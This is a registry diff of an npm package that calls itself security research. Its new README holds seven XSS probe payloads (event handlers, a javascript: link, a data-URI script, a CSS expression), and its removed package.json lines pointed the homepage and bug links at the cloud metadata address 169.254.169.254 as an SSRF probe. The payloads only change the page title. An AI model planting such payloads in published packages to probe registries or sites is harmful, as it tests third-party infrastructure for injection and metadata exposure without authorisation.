@suul/ssrf-test 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +24 -0
  2. package/package.json +2 -12
package/README.md ADDED
@@ -0,0 +1,24 @@
1
+ # ssrf-test
2
+
3
+ Security research package.
4
+
5
+ ## Test 1: img onerror
6
+ <img src="x" onerror="document.title='XSS-TEST-1'">
7
+
8
+ ## Test 2: SVG onload
9
+ <svg onload="document.title='XSS-TEST-2'"></svg>
10
+
11
+ ## Test 3: details ontoggle
12
+ <details open ontoggle="document.title='XSS-TEST-3'"><summary>test</summary></details>
13
+
14
+ ## Test 4: javascript href
15
+ <a href="javascript:document.title='XSS-TEST-4'">click me</a>
16
+
17
+ ## Test 5: data URI
18
+ <img src="data:text/html,<script>document.title='XSS-TEST-5'</script>">
19
+
20
+ ## Test 6: SVG foreignObject
21
+ <svg><foreignObject><p>test</p></foreignObject></svg>
22
+
23
+ ## Test 7: CSS expression (IE)
24
+ <p style="width:expression(document.title='XSS-TEST-7')">test</p>
package/package.json CHANGED
@@ -1,18 +1,8 @@
1
1
  {
2
2
  "name": "@suul/ssrf-test",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "SSRF test - security research",
5
5
  "main": "index.js",
6
- "repository": {
7
- "type": "git",
8
- "url": "git+https://github.com/suul/ssrf-test.git"
9
- },
10
- "homepage": "http://169.254.169.254/latest/meta-data/",
11
- "bugs": {
12
- "url": "http://169.254.169.254/latest/meta-data/"
13
- },
14
6
  "license": "MIT",
15
- "publishConfig": {
16
- "access": "public"
17
- }
7
+ "publishConfig": {"access": "public"}
18
8
  }